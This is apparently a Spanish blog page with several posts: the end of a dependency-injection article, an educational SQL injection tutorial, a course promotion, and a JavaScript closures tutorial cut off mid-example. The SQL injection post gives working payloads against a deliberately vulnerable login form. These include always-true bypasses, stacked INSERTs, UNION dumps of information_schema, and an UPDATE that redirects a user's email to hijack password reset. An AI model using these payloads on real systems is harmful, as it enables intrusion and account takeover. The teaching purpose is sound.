Otra ventaja de la inicialización de constructores es que te permite ocultar claramente ocultar cualquier campo que sea inmutable simplemente no proporcionando un setter. Creo que esto es importante - si algo no debe cambiar la falta de un setter transmite muy bien esto. Si utilizas setters para la inicialización, entonces esto puede llegar a ser doloroso. (De hecho, en estas situaciones prefiero evitar la convención usual de ajuste, preferiría un método como initFoo, para enfatizar que se trata de algo que debes hacer solo al comienzo).

Pero con cualquier situación hay excepciones. Si tienes muchos parámetros del constructor las cosas pueden parecer desordenadas, especialmente en lenguajes sin palabras clave para parámetros. Es cierto que un extenso constructor es a menudo una señal de un objecto sobre cargado que debe ser dividido, pero hay casos donde eso es lo que necesitas.

Si tienes muchas formas de construir un objeto válido, puede ser difícil demostrar esto a través de constructores, ya que los constructores sólo pueden variar en el número y el tipo de parámetros. Aquí es donde los Factory Methods entran en juego, estos pueden utilizar una combinación de constructores privados y setters para realizar su trabajo. El problema con los clásicos Factory Methods para el ensamblado de componentes es que por lo general son vistos como métodos estáticos, y no puedes tener las interfaces. Puedes hacer una clase factory, pero entonces eso simplemente se convierte en otra instancia de servicio. Un servicio de factory es a menudo una buena táctica, pero todavía tienes que instanciar la factory utilizando una de las técnicas presentadas aquí.

Los constructores también sufren si tienes parámetros simples tales como strings. Con Setter Injection puedes dar a cada setter un nombre para indicar lo que el string debería hacer. Con los constructores estás dependiendo de la posición, lo que es más difícil de seguir.

Si tienes múltiples constructores y herencia, entonces las cosas pueden ser particularmente incómodas. Para inicializar todo tienes que proporcionar constructores para invocar a cada constructor de la superclase, y al mismo tiempo añadir tus argumentos. Esto puede conducir a una explosión de constructores incluso mayor.

A pesar de estas desventajas mi preferencia es comenzar con Constructor Inyection, pero estar preparado para cambiar a Setter Inyection tan pronto como los problemas que he descrito anteriormente comiencen a convertirse en un problema.

Este argumento ha dado lugar a un gran debate entre los diferentes equipos que proporcionan inyección de dependencias como parte de su framework. Sin embargo parece que la mayoría de la gente que crea estos frameworks se ha dado cuenta que es importante soportar ambos mecanismos, incluso si tienen una preferencia por uno de ellos.

 

Código o archivos de configuración

Una cuestión distinta pero a menudo mezclada es si utilizar archivos de configuración o el código de una API para conectar los servicios. Para la mayoría de las aplicaciones que pueden desplegarse en muchos lugares, un archivo de configuración independiente por lo general tiene más sentido. La mayor parte del tiempo será un archivo XML, y esto tiene sentido. Sin embargo, hay casos en donde es más fácil usar código para el ensamblado de los componentes. Uno de estos casos es cuando tienes una sencilla aplicación que no tiene demasiada variación en el despliegue. En este caso un poco de código puede ser más claro que un archivo XML independiente.

Un caso opuesto es cuando el ensamblado es bastante complejo, incluyendo pasos condicionales. Una vez que empiezas a acercarte a un lenguaje de programación luego XML empieza a dejar de trabajar y es mejor usar un lenguaje real que tiene toda la sintaxis para escribir un programa claro. Escribes por lo tanto una clase constructora que realiza el ensamblado. Si tienes distintos escenarios de construcción puedes proporcionar varias clases constructoras y usar un simple archivo de configuración para seleccionar entre ellas.

A menudo pienso que la gente es demasiado entusiasta definiendo archivos de configuración. Con frecuencia un lenguaje de programación proporciona un mecanismo de configuración directo y poderoso. Los lenguajes modernos pueden fácilmente compilar pequeños ensamblados que pueden ser usados para ensamblar plugins para sistemas grandes. Si la compilación es un dolor, entonces hay lenguajes de script que funciona igual de bien.

A menudo se dice que los archivos de configuración no deben usar un lenguaje de programación porque necesitan ser editados por no programadores. Pero, ¿como de frecuente es este caso?. ¿Espera la gente realmente que los no programadores modifiquen los niveles de aislamiento de una compleja aplicación del lado del servidor?. Los archivos de configuración "sin lenguaje" funcionan bien solo si tienden a ser simples. Si se vuelven complejos, entonces es el momento de pensar en usar un apropiado lenguaje de programación.

Una cosa que estamos viendo en el mundo Java en este momento es una cacofonía de los archivos de configuración, donde todo componente tiene sus propios archivos de configuración que son diferentes a todos los demás. Si usas una docena de estos componentes, puedes fácilmente terminar con una docena de archivos de configuración para mantener sincronizados.

Mi consejo aquí es proporcionar siempre un forma de realizar toda la configuración fácilmente con una interfaz programática, y entonces tratar un archivo de configuración independiente como una característica opcional. Puedes fácilmente construir un archivo de configuración manejando el uso de la interfaz programática. Si estás escribiendo un componente entonces deja a tu usuario decidir si usar la interfaz programática, el formato de tu archivo de configuración, o escribir su propios formato de archivo de configuración y atar esto con la interfaz programática.

 

Separar la configuración del uso

La cuestión importante en todo esto es asegurar que la configuración de los servicios está separada de su uso. De hecho, esto es un principio de diseño fundamental que cae bien con la separación de interfaces de implementación. Esto es algo que vemos dentro de un programa orientado a objetos cuando la lógica condicional  decide qué clase instanciar, y luego las evaluaciones futuras de ese condicional son hechas a través de polimorfismo en lugar de a través de código condicional duplicado.

Si esta separación es útil dentro de un único código base, esto es especialmente vital cuando estás usando elementos externos tales como componentes y servicios. La primera cuestión es si deseas aplazar la elección de la clase de implementación para un despliegue particular. Si es así, necesitas usar alguna implementación de un plugin. Una vez que estás usando puglins entonces es esencial que el ensamblado de los plugins esté hecho por separado del resto de la aplicación de forma que puedes sustituir fácilmente diferentes configuraciones por diferentes despliegues. Como logras esto es secundario. Este mecanismo de configuración puede incluso configurar un Localizador de Servicios, o usar inyección para configurar objetos directamente.

 

Algunos temas adicionales

En este artículo, me he concentrado en los temas básicos de la configuración de un servicio usando Inyección de Dependencias y Localizador de Servicios. Hay algunos temas más que tienen un papel que también merecen atención, pero no he tenido tiempo todavía de profundizar sobre ello. En particular está la cuestión del comportamiento del ciclo de vida. Algunos componentes tienen distintos eventos del ciclo de vida: detenerse y iniciarse por ejemplo. Otro problema es el creciente interés en el uso de las ideas orientadas a aspectos con estos contenedores. A pesar de que no he considerado este material en este artículo por el momento, espero escribir más sobre esto ya sea extendiendo este artículo o bien escribiendo otro.

Puedes descubrir un montón más sobre estas ideas buscando en los sitios web dedicados a los contenedores ligeros. Navegar por los sitios web de Picocontainer y Spring te conducirá dentro de muchas más discusiones sobre estos temas y al comienzo de algunos temas adicionales.

 

Reflexiones finales

La actual avalancha de todos los contenedores ligeros tienen en común un patrón subyacente sobre como realizan el ensamblado de servicios - el patrón de Inyección de Dependencias. Inyección de Dependencias es una alternativa útil a el Localizador de Servicios. Cuando la construcción de clases de aplicación de ambos son más o menos equivalentes, creo que el Localizador de Servicios tiene una ligera ventaja debido a su comportamiento más sencillo y directo. Sin embargo, si estás construyendo clases para ser usadas en múltiples aplicaciones entonces Inyección de Dependencias es una mejor elección.

Si usas Inyección de Dependencias hay distintas opciones para elegir. Te sugeriría utilizar Constructor Inyection a menos que te encuentres con uno de los problemas específicos de este enfoque, en este caso cambia a Setter Inyection. Si estás eligiendo para construir o obtener un contenedor, busca uno que soporte ambos enfoques.

La elección entre el Localizador de Servicios y la Inyección de Dependencias es menos importante que el principio de separación de configuración del servicio utilizando los servicios dentro de una aplicación.

 

Agradecimientos

Mi más sincero agradecimiento a las muchas personas que me ayudaron con este artículo. Rod Johnson, Paul Hammant, Joe Walnes, Aslak Hellesøy, Jon Tirsén y Bill Caputo me ayudaron a comprender estos conceptos y comentar sobre los primeros borradores de este artículo. Berin Loritsch y Hamilton Verissimo de Oliveira me proporcionaron algunos consejos muy útiles sobre cómo llevarse bien con Avalon. Dave W Smith insistió en hacer preguntas sobre mi interfaz de configuración inicial de inyección de código, anteponiendo que era estúpido.

 

Revisiones significativas

23 de enero 2004: Se volvió hacer el código de configuración del ejemplo de inyección de interfaz.

16 de enero 2004: Se añadió un pequeño ejemplo tanto de un localizador como de inyección con Avalon.

14 de enero 2004: Primera Publicación.

Ataques SQL Injection

30. January 2013 19:15 by Oscar.SS in Desarrollo Empresarial, Desarrollo Web  //  Tags: ,   //   Comments (4)

Como desarrolladores tenemos una gran responsabilidad sobre la seguridad de las aplicaciones en las que participamos y creo que no pensamos en ello (yo incluido) con la debida frecuencia o el debido respeto. Permitirme que me ponga un poco drástico. Cuando desarrollamos una aplicación sobre nóminas, una aplicación sobre informes médicos, o cualquier otro tipo de información sensible, lo que está en juego no es solo la integridad de la aplicación, detrás hay usuarios, hay vidas de personas.

Mi intención al escribir este artículo no es enseñaros nada nuevo sobre el tema, hay mucho escrito en internet y en libros sobre SQL Injection. El propósito de este artículo es que como desarrolladores tomemos conciencia de esta responsabilidad y por otro lado conocer los conceptos básicos de este tipo de ataques.

Estoy seguro que el lector, el que más o el que menos, conoce los peligros de un ataque por inyección de SQL. De hecho, la organización OWASP (Open Web Application Security Project) coloca esta vulnerabilidad la primera de la lista en su Top 10 de riesgos en aplicaciones web.

Las vulnerabilidades por inyección de SQL se caracterizan por tener un vector de ataque muy sencillo, el atacante simplemente envía texto a un intérprete. Así mismo es una vulnerabilidad frecuente y dependiendo de los casos, no es difícil detectarla. La última característica a mencionar es que tienen un impacto muy grande en las aplicaciones atacadas.

Tal y como se aprecia en la tabla anterior (Risk Rating Methodology) los ataques por inyección no solo afectan a las consultas de SQL. También pueden ser atacadas por inyección las consultas LDAP (Lightweight Directory Access Protocol), XPATH o comandos del sistema operativo entre otros. En este artículo centraremos nuestro interés en los ataques por inyección de SQL.

 

Introducción

En primer lugar, hablaremos de algunas versiones con las que se puede ejecutar este tipo de ataque, la mejor forma de "vacunarse" es sin duda el conocimiento, comprender cómo y porque es posible este tipo de debilidad en nuestras aplicaciones.

Anteriormente adelantamos que el vector de ataque sobre esta vulnerabilidad consiste en enviar un simple texto al intérprete de SQL. Es decir, todo dato, y repito otra vez, todo dato enviado a nuestra aplicación por un usuario, ya sea este humano o electrónico, es susceptible de contener código SQL que podría modificar el comportamiento esperado de nuestra aplicación. Por lo tanto, cualquier información que nuestra aplicación esté esperando desde fuera, debe tomarse como potencialmente peligrosa.

Para los ejemplos de código de inyección de SQL que vamos a ver a continuación, tomaremos como ejemplo el típico formulario de login que el usuario malintencionado podría usar como un posible punto de entrada a nuestra aplicación. Por lo tanto, los datos o información potencialmente peligrosa en este escenario, serán tanto el email del usuario como la contraseña.

Como es lógico, y por motivos puramente pedagógicos, para todos los ejemplos que veremos a continuación se ha supuesto que en la capa de acceso a datos existe un código de servidor que no previene contra este tipo de ataques. Podría ser algo parecido a lo mostrado a continuación.

            string query "SELECT * FROM Employees WHERE Email = "
                
"'" + email + "'"
                
" AND [Password] = "
                
"'" + pass + "';";

            using 
(var conn = new SqlConnection(ConnString))
            {
              
using (var cmd = new SqlCommand(query, conn))
              {
                cmd.CommandType 
CommandType.Text;
                
conn.Open();

                using 
(var reader cmd.ExecuteReader())
                {
                    
while (reader.Read())
                    {
                        
// etc...
                    
}
                    reader.Close()
;
                
}
              }
            }

 En este caso, la consulta ejecutada en la base de datos tendría el siguiente aspecto.

SELECT FROM Employees WHERE Email 'NombreEmpleado' and [Password] 'ContraseñaEmpleado';

Seguidamente comprobaremos las diferentes vías que podrían utilizarse desde fuera de nuestra aplicación para modificar el comportamiento de esta consulta. ¿Estáis preparados para poneros en la piel del atacante?

 

Comprobar si es vulnerable

Una forma rápida de comprobar si una aplicación es vulnerable a inyecciones de SQL podría ser enviar al intérprete una comillas simple ( ' ) para terminar la instrucción en ese momento y que todo lo demás sea código no ejecutable por el intérprete de SQL y esto provoque un error. Veamos un ejemplo.

Campo email = meloinvento y campo contraseña = '

Consulta construida:

SELECT FROM Employees WHERE Email 'meloinvento' AND [Password] ''';

He señalado en color Gold (según mi editor WYSIWYG) la parte de la consulta que el intérprete de SQL puede entender. Es decir, en esta parte se está comprobando que Email sea igual a 'meloinvento' y que Password sea igual a '', lo que es totalmente correcto gramaticalmente aunque no devolvería ningún resultado.

Pero al final de la consulta todavía tenemos una pequeña fracción de código ', que el intérprete no puede ejecutar correctamente. Lo que sin duda provocará un error en el intérprete de SQL y por extensión en la aplicación.

En este caso, el como la aplicación gestione este tipo de errores es lo de menos. Si nosotros como atacantes recibimos una amigable pantalla de error, igualmente habremos conseguido nuestro propósito, averiguar si la aplicación es susceptible de ser atacada.

 

Introducir una instrucción siempre True

Una forma típica de inyectar SQL en una aplicación y que seguramente el lector ya conoce es cuando inyectamos una instrucción siempre verdadera consiguiendo que la instrucción WHERE siempre se cumpla y nos devuelva siempre resultados sin conocer los datos auténticos.

Campo email = meloinvento y campo contraseña = ' or '1'='1

Consulta construida:

SELECT FROM Employees WHERE Email 'meloinvento' AND [Password] '' or '1'='1';

Quiero llamaros la atención aquí sobre el juego de comillas simples que se ha realizado. Comenzando nuestro código malicioso con una comilla simple hemos cerrado el contenido de la variable Password, y como al terminar nuestro código malicioso sin una comilla simple hemos aprovechado una comilla simple que seguramente, así lo hemos supuesto, exista ya en el código de la aplicación. De esta forma la instrucción comprueba que FirstName sea igual a 'meloinvento' y que Password sea igual a '', o que 1 sea igual 1 lo que siempre es cierto y nos permite entrar en el sistema.

Nota: si la aplicación consume datos desde MySQL bastaría con incluir OR 1 -- x. Con esto quiero mostraros que aunque para este artículo se ha elegido SQL Server, los conceptos son los mismos para cualquier tipo de base de datos.

 

Con datos numéricos

Hemos visto algunos sencillos ejemplos cuando las variables a atacar son de tipo alfanumérico, y como hemos podido comprobar el meollo del asunto consiste en ir jugando con las comillas simples que espera el intérprete de SQL. Pero cuando los datos son de tipo numérico, supongamos que la contraseña lo es, si no se tiene especial cuidado podemos tener total libertad para ejecutar instrucciones completas en nuestro sistema. También podría ser una comprobación por el campo ID o por cualquier otro concepto numérico.

Campo email = 'meloinvento' y campo contraseña = 00000; insert into employees (firstName, password) values ('Oscar', 85493)

Consulta construida:

SELECT FROM Employees WHERE Email 'meloinvento' AND [Password] 00000
insert into e
mployees (email, password) values ('Oscar'85493);

Como se puede observar realmente se han enviado dos instrucciones SQL al intérprete, una que comprueba un supuesto empleado y otra que directamente inserta un nuevo empleado en la aplicación permitiendonos tener acceso a la misma.

Evidentemente este tipo de ataque es mucho más difícil de realizar de lo que parece. Para empezar, deberíamos conocer el nombre de la tabla, aunque siempre se pueden probar nombres razonables como Users, Employees, Clients, etc, veremos más tarde como atajar este problema.

Otra dificultad añadida es que la tabla normalmente contendrá más campos que no podrán ser nulos, lo que provocará un error en la aplicación al no poder ejecutarse correctamente la instrucción SQL. Y como siempre, dependiendo de como estén gestionandos este tipo de errores, podríamos recibir información sobre el error y poco a poco afinar con la inyección de SQL. Sea como sea, es algo de lo que tenemos que ser conscientes como desarolladores.

 

Averiguar el número de columnas de la tabla

Como bien sabe el lector, la instrucción ORDER BY también puede ser utilizada como si de un array se tratara y en lugar de pasarle el nombre de la columna podemos pasarle un valor entero con la posición que ocupa la columna en la tabla empezando desde 1.

SELECT FROM Employees WHERE LastName 'Gomez' ORDER BY 2

Esta consulta ordena los resultados ascendentemente por la segunda columna en la tabla. Ahora bien, podríamos ir probando distintos valores (3, 4, 5, etc) y cuando la aplicación lance un error sabremos que nos acabamos de pasar por arriba en el número de columnas de la tabla.

Campo email = meloinvento y campo contraseña = ' ORDER BY 7; --

Consulta contruida:

SELECT FROM Employees WHERE Email 'meloinvento' AND [Password] '' ORDER BY 7--';

En el caso que nos ocupa esta consulta lanzaría un error del siguiente tipo.

Anteriormente ya he mencionado que no importa que no veamos esta información, es suficiente con que la aplicación muestre una agradable pantalla informandonos del error, igualmente sabremos que la tabla tiene 6 columnas.

 

Averiguar el nombre de una columna

La idea en este caso es ir probando nombre lógicos o esperables para los nombre de las columnas en un consulta que se ejecuta satisfactoriamente, es decir, al contrario que antes, cuando no recibamos un error, sabremos que hemos acertado.

Campo email = meloinvento' or firstname = ''; --

Consulta contruida:

SELECT FROM Employees WHERE Email 'meloinvento' or firstname ''; --' AND [Password] = '';

Si esta cosulta se ejecuta sin mostrarnos un error sabremos que hemos acertado con el nombre de la columna, en caso contrario nos tocará seguir provando otros nombres.

 

Averiguar el nombre de una tabla

Igual que antes provaremos distintos nombre para el nombre de la tabla y sabremos que el nombre es correcto cuando la consulta se ejecute satisfactoriamente.

Campo email = meloinvento' or 1 = (select count(*) from Employees); --

Consulta contruida:

SELECT FROM Employees WHERE Email 'meloinvento' or 1=(select count(*) from Employees); --' AND [Password] = '';

Fijaros en que nos importan en absoluto si la segunda condición que hemos introducido se cumple. Nos da lo mismo si la tabla tenga 1 o 100 filas, lo que nos interesa aquí es que la consulta es gramaticalmente correcta y por lo tanto hemos dado con el nombre de una tabla.

Ahora bien, de momento sabemos que en el sistema existe una tabla Employees y lo mismo podríamos hacer con otras tablas si conocemos un poco el negocio de la aplicación que estamos asaltando. Pero también podemos averiguar si el nombre de la tabla que hemos adivinado se está utilizando en la consulta actual.

Campo email = meloinvento' and employees.email is null; --

Consulta construida:

SELECT FROM Employees WHERE Email 'meloinvento' and employees.email is null; --' AND [Password] = '';

Esta forma de especificar el nombre de la columna Email en la segunda condición, solo funciona cuando el nombre de la tabla especificado es el mismo que se utiliza después de la cláusula FROM.

 

Enviar la contraseña de un usuario

Es habitual que antes de comenzar ningún ataque ya conozcamos el email de algún usuario resgistrado en el sistema. Ya sea porque se trata de una red social y el usuario es un conocido nuestro o de nuestros conocidos. O simplemente porque en la propia aplicación web exista en la zona de contacto uno o varios emails de usuarios adminstradores del sistema para poder contactar con ellos en caso de problemas, sugerencias o dudas.

Supongamos también que la aplación web tiene el típico enlace "Si no recuerdas la contraseña haz click aquí" en la que se nos pedirá un email para enviarnos la contraseña automáticamente por correo electrónico. Procedamos!!.

Campo email = meloinvento'; update employees set email = 'miEmail@hacker.com' where email = 'emailConocido@hostweb.com'; --

Consulta contruida:

SELECT FROM Employees WHERE Email 'meloinvento'
update 
employees set email 'miEmail@hacker.com' where email 'emailConocido@hostweb.com'--' AND [Password] = '';

Ahora solo tendremos que ir al formulario donde se nos pide el email para enviarnos la contraseña e introducir el email malicioso para al de unos minutos obtener la contraseña de este usuario.

 

Averiguar información del esquema

Cambiemos un poco el escenario del crimen. Imaginaros que hemos conseguido entrar en la aplicación con las credenciales de otro usuario/empleado. Al navegar por la aplicación nos encontramos con una página donde se muestra un listado de clientes del empleado que hemos suplantado.

Como podemos observar el listado permite realizar una búsqueda por el código postal del cliente que mostrará los resultados para el empleado que entró en la aplicación. Con lo que sabemos hasta ahora (los clientes pertenecen a un empleado específico y los clientes se buscan por código postal) podríamos suponer que la consulta tendría un aspecto parecido al mostrado a continuación.

SELECT FROM NombreTabla WHERE NombreColumna identificadorEmpleado AND OtraColumna 'codigoPostalCliente';

SQL Server al igual que MySQL proporciona información del esquema de las bases de datos por medio de la tabla de sistema INFORMATION_SCHEMA. Te recomiendo que ejecutes en cualquiera de tus bases de datos las dos consultas siguientes para que puedas observar la información que contienen.

SELECT FROM INFORMATION_SCHEMA.TABLES;

SELECT 
FROM INFORMATION_SCHEMA.COLUMNS;

Intentemos ahora averiguar el nombre de todas las tablas de la base de datos.

Campo búsqueda = ' union select 1, 2, table_name, 4, 5, 6, 7 from information_schema.tables; --

Consulta construida:

SELECT FROM Customers WHERE EmployeeID '6' AND PostalCode '' 
union select 12, table_name, 456from information_schema.tables--';

Las consultas que usen la clausula UNION (también INTERSECT y EXCEPT) deben tener el mismo número de columnas en las dos SELECT. Por ese motivo en la segunda SELECT se han añadido los índices ordinales de varias columnas para rellenar. Fijaros también que la columna que contendrá los nombres de las tablas, table_name, se encuentra en 3er lugar. Hay que hacerla coincidir con una columna que admita valores de texto y hemos supuesto que las dos primeras columnas contenían identificadores y por lo tanto eran probablemente de tipo numérico.

Al pulsar sobre el botón de búsqueda obtenemos la información esperada.

En la base de datos existen dos tablas, Employees y Customers, además de un diagrama de base de datos. Podríamos intentar hacer lo mismo con la información de las columnas de toda la base de datos.

Campo búsqueda = ' union select 1, 2, table_name, column_name, ordinal_position, data_type, is_nullable from information_schema.columns; --';

Consulta construida:

SELECT FROM Customers WHERE EmployeeID '6' AND PostalCode '' union 
select 
12, table_name, column_name, ordinal_position, data_type, is_nullable from information_schema.columns--';

El resultado cuando menos es espectacular.

Por order de aparición, de irquierda a derecha, vemos el nombre de la tabla, el nombre de la columna, el lugar que ocupa esta en la tabla, el tipo de datos que contiene la columna y si admite valores nulos. Mencionar por último que el poder ver la información del esquema de la base de datos depende de cómo estén configurados los permisos en el servidor de base de datos. No todos los usuarios tienen porque tener permisos para acceder a esta información.

 

Comentarios Finales

Evidentemente todo lo aquí visto ha sido posible gracias a un código de aplicación escrito a propósito con poca o ninguna consideración sobre estos temas, pero ha cumplido su cometido, que no era otro que didáctico. De todas formas, las inyecciones de SQL no son como el Unicornio Blanco, son muy reales. Durante la preparación de este artículo, el aquí presente, ha encontrado un par de webs reales susceptibles de ser atacadas con los conceptos que acabamos de estudiar.

Tener en cuenta que los ataques mostrados en este artículo quizás no han sido demasiado agresivos pero igualmente se podrían haber enviado sentencias para borrar registros, tablas o cualquier otra invasión relacionada con el negocio de la aplicación. Comentar también que por supuesto existen técnicas mucho más sofisticadas de este vector de ataque, aquí hemos visto quizás las más elementales.

Espero que encontréis de utilidad, o al menos de interesante, el artículo y sobre todo que os haya hecho pensar en esa gran responsabilidad que tenemos como desarrolladores sobre la seguridad de nuestras aplicaciones.

Nuevo curso de ASP.NET MVC 4 en Campus MVP

24. December 2012 20:22 by Oscar.SS in Desarrollo Web, Formación, Personal  //  Tags: , ,   //   Comments (1)

En esta ocasión os escribo para hablaros de uno de los maravillosos cursos de CampusMVP y dado las fechas en las que nos encontramos, también para obsequiaros con un pequeño regalo navideño. Sigue leyendo y entenderás en qué consiste.

Una vez más he tenido la suerte de asistir al espectacular curso de Desarrollo Web con ASP.NET MVC 4 tutorado por José María Aguilar que sin duda en este tema es mi maestro y el de todos ;-). También pude asistir en el pasado al curso de la versión anterior (MVC 3). Por este motivo puedo hablaros con conocimiento de causa sobre la evolución del mismo.

De ante mano os adelanto que CampusMVP no se ha limitado a extender el curso anterior con las novedades de MVC 4. Dejarme que os resuma como han mejorado este curso que ya de por sí era bueno.

  • El nuevo curso tiene más videos que el anterior y todos los videos se han vuelto a grabar con la versión de Visual Studio 2012.
  • Todos los módulos del curso están salpicados de didácticas prácticas que sin duda te ayudan a realizar provechos ejercicios.
  • Se han reescrito todos los ejemplos de código que como alumno te puedes descargar. Creerme si os digo que están muy bien y que se han mejorado con mucho los anteriores.
  • Todo el contenido del curso, temario, videos, calendarios, etc, es accesible desde el iPad para que puedas acceder al curso en cualquier momento.
  • El curso tiene un nuevo sistema de calendario integrable con el de Google que te avisa si vas retrasado en el temario. Sin duda algo que te ayuda a ser consciente de tu avance en el curso. De hecho, si te retrasas el tutor te avisa por email, lo sé por experiencia :-p

Sinceramente para mí ha sido toda una sorpresa ver cómo han mejorado un curso que para mí era perfecto. Desde luego han encontrado el modo de aportar al alumno más valor, tanto didácticamente, técnicamente como en cuanto a la plataforma se refiere. Un excelente trabajo.

A continuación la pequeña sorpresa que os apuntaba al principio. En CampusMVP han decidido liberar la colección de ejemplos de código, en la que tuve algo que ver, sobre la versión MVC 3. Estos ejemplos son muy simples y como he comentado anteriormente, los ejemplos de código del nuevo curso son más completos y potentes además de estar actualizados a la versión MVC 4.

Aquí tenéis el enlace para descargaros los ejemplos de la versión anterior:  CursoMVC3.rar (10.51 mb)

Closures en JavaScript: entiéndelos de una vez por todas

3. December 2012 07:35 by Oscar.SS in Desarrollo Web  //  Tags:   //   Comments (0)

Introducción

Los closures, en castellano cierres o clausuras, son una potente característica de JavaScript que también podemos encontrar en otros lenguajes como C#, Objective-C, Eiffel y otros. Este concepto que tradicionalmente pertenece a la programación funcional tiene su origen en el lenguaje de programación Scheme.

En este artículo vamos a comenzar por identificar en el código cuando se producen los closures para luego ver que tienen de especial. Después pasaremos a ver algunos comportamientos que nos servirán para terminar completamente de entender cómo funcionan. Para finalizar veremos un par de ejemplos de aplicaciones prácticas.

 

Concepto

Cuando nos acercamos por primera vez al concepto de closure es habitual encontrarnos con problemas a la hora de entenderlo, a pesar de que, seguramente en muchas ocasiones los habremos utilizado sin saberlo. Por este motivo, antes de intentar dar una definición más o menos académica, creo que es mucho más práctico saber identificar los closures en el código, que al fin y al cabo es el lenguaje natural del programador.

 

Identifiquemos los elementos que se producen en el código anterior.

  • En primer lugar podemos ver claramente que tenemos dos funciones y que la función greet() está definida dentro de la función personalizedGreet(). 
  • En segundo lugar podemos observar como la función greet() utiliza en su cuerpo una variable local perteneciente al ámbito de la función personalizedGreet().

Siempre que se produzcan los dos elementos anteriores podemos decir que tenemos un closure entre manos. ¡Así de sencillo!. Comprobemos ahora como funciona el código que hemos visto en la imagen anterior.

        //En otra parte del código...

        
var sayHello personalizedGreet("Óscar")/* Se almacena en la variable sayHello el código: 
                                                      
                                                      function greet() 
                                                      { 
                                                           return hello + name; 
                                                      }
                                                   */

        
alert(sayHello());  // Se ejecuta el código anterior y se muestra en pantalla: Hello Óscar

Debemos comentar aquí que la apariencia más habitual de los closures es cuando utilizamos funciones anónimas como en el siguiente ejemplo.

        function whatAreYouWritingAbout()
        {
            
var subject "About Closures";

            var 
message = function () { return subject};

            return 
message;
        
}


        
//En otra parte del código...

        
var writingAbout whatAreYouWritingAbout();

        alert
(writingAbout())//Muestra en pantalla: About Closures

Acabamos de ver como identificar en el código cuando se producen los closures pero...¿qué tienen de particular?, ¿qué hace tan especial al código anterior?.

Analicemos paso a paso que sucede supuestamente cuando se ejecuta la función whatAreYouWritingAbout():

  1. Comienza la ejecución de la función whatAreYouWritingAbout().
  2. Se guarda en memoria una variable con el valor string "About Closures".
  3. Se guarda en memoria una variable con una referencia al código: function () { return subject; }.
  4. La función whatAreYouWritingAbout() devuelve el código anterior.
  5. Fin de la ejecución de la función whatAreYouWritingAbout(). 
  6. Se llama al Garbage Collector para que elimine la variable subject dado que la función ha terminado y no la necesitará hasta su próxima ejecución donde será otra vez definida y asignada.

Según lo expuesto anteriormente cuando ejecutamos las líneas de código siguientes.

        var writingAbout whatAreYouWritingAbout();

        alert
(writingAbout())//Muestra en pantalla: About Closures

Literalmente es como si estuviéramos escribiendo lo siguiente.

        var writingAbout = function () { return subject};

        alert
(writingAbout())//Muestra en pantalla: About Closures

Pero evidentemente, en este contexto o ámbito del código, la variable subject no existe (o está fuera de ámbito) y además su valor supuestamente fue destruido al salir de la función whatAreYouWritingAbout(). Por lo tanto, cuando se ejecuta la función writingAbout() debería dar un error tipo Uncaught ReferenceError: subject is not defined. Sin embargo, el código muestra el mensaje correctamente...¿Por qué?.

Cuando JavaScript encuentra en el código un closure le indica al Garbage Collector que no destruya las variables (están quedan guardadas o encerradas) que la función "interna" necesita para su correcta ejecución. Por lo tanto, a pesar de que las variables que esta función utiliza se encuentran en otro ámbito en el momento de su ejecución, JavaScript guardó una referencia al valor de las mismas y por lo tanto siempre están accesibles para la función. Podríamos decir que este es el secreto o la magia de los closures.

 

Comportamiento

Para terminar de captar el concepto veamos ahora una serie de comportamientos o características que tienen los closures y que tendremos que tener siempre presentes cuando trabajamos con esta potente herramienta del lenguaje JavaScript.

Como se crean los closures

Cuando el intérprete de JavaScript encuentra un closure guarda las variables locales que las funciones internas van a necesitar. Esto ya lo hemos comentado pero...¿cómo acceden las funciones a estas variables?. Veamos algunos apuntes sobre esto:

  • Cuando una variable local se almacena en memoria, si esta cambia a lo largo de la función externa, en memoria se almacenará el último valor asignado al salir de la función externa.
  • Cada función interna guarda una referencia a la posición de memoria donde se almacena la variable pudiendo acceder a su valor.

La idea principal es que el valor de la variable puede ser modificada a lo largo del código y que las funciones internas guardan una referencia a la memoria donde se encuentra el último valor de la variable que fue asignada al salir de la función externa. Es importante tener esto presente y como veremos ahora tiene algunos comportamientos que en principio podrían sorprender.
 
 

Definir o modificar la variable después de la función interna

En los ejemplos de código que hemos comentado anteriormente la variable local de la función externa se encontraba definida antes que la función anidada. Lo contrario es perfectamente válido.

        function personalizedGreet(name)
        {
            
var greet = function () { return hello + name};

            var 
hello "Hello ";  // Variable local definida después de la función anidada

            
return greet;
        
}


        
//En otra parte del código...

        
var greeting personalizedGreet("Oscar");

        alert
(greeting())//Muestra en pantalla: Hello Oscar

Como podemos observar no tiene ninguna influencia cuando es definida la variable local, la función interna guarda una referencia a la posición de memoria y utiliza el valor de la variable cuando la necesita.

Por cierto, en este ejemplo la función interna anónima utiliza realmente dos variables locales, hello y name. Los parámetros de la función externa son considerados lógicamente como variables de este ámbito. Anteriormente se omitió este hecho para simplificar el concepto y explicación.

En el siguiente ejemplo tenemos una función que define en su interior una constante (con valor 10) que será incrementada una cantidad pasada como parámetro a la función.

        function constIncrease(amount)
        {
            
var ten 10;

            var 
codeFunc = function () { alert(ten)};

            
ten +amount;

            return 
codeFunc;
        
}


        
//En otra parte del código...

        
var execute constIncrease(5);

        
execute();

Pensar por un momento cual será la salida en pantalla de este código, 10 ó 15. Los que hayáis respondido 15 estáis en lo cierto. Los que no, es normal, se tiende a pensar que el closure queda establecido en el comento que se define la función anidada, pero no es así. Como ya hemos comentado, la función interna simplemente almacena una referencia al último valor de la variable establecido cuando la función externa termina de ejecutarse.

 

Cada llamada es un closure distinto

Visto lo anterior podría pensarse que el closure es un elemento global que persiste entre llamadas. No es así, por cada llamada que hagamos a la función externa estaremos creando un nuevo e individual closure. Veamos el ejemplo siguiente.

        function personalizedGreet(name) {

            
var hello "Hello ";

            return function 
() { alert(hello + name)};
        
}

        
        
//Creamos dos closures distintos

        
var greet1 personalizedGreet("Pedro");
        var 
greet2 personalizedGreet("María");

        
greet1();  //Muestra en pantalla: Hello Pedro
        
greet2();  //Muestra en pantalla: Hello María

 

Cuando tenemos varias funciones internas

Veamos ahora un ejemplo en el que varias funciones internas guardan una referencia a la misma variable local, o podríamos decir también que mantienen una referencia al mismo closure. En este ejemplo la función externa no devuelve ningún objeto, vamos almacenar las funciones internas en variables globales.

        var gExecute1 = null;
        var 
gExecute2 = null;
        var 
gExecute3 = null;

        function 
createClosure() {
            
var num 10;
            
gExecute1 = function () { alert(num)};

            
num++;
            
gExecute2 = function () { alert(num)};

            
num "¡¡Toma ya!!!"
            
gExecute3 = function () { alert(num)};
        
}

        createClosure()
;
        
gExecute1();
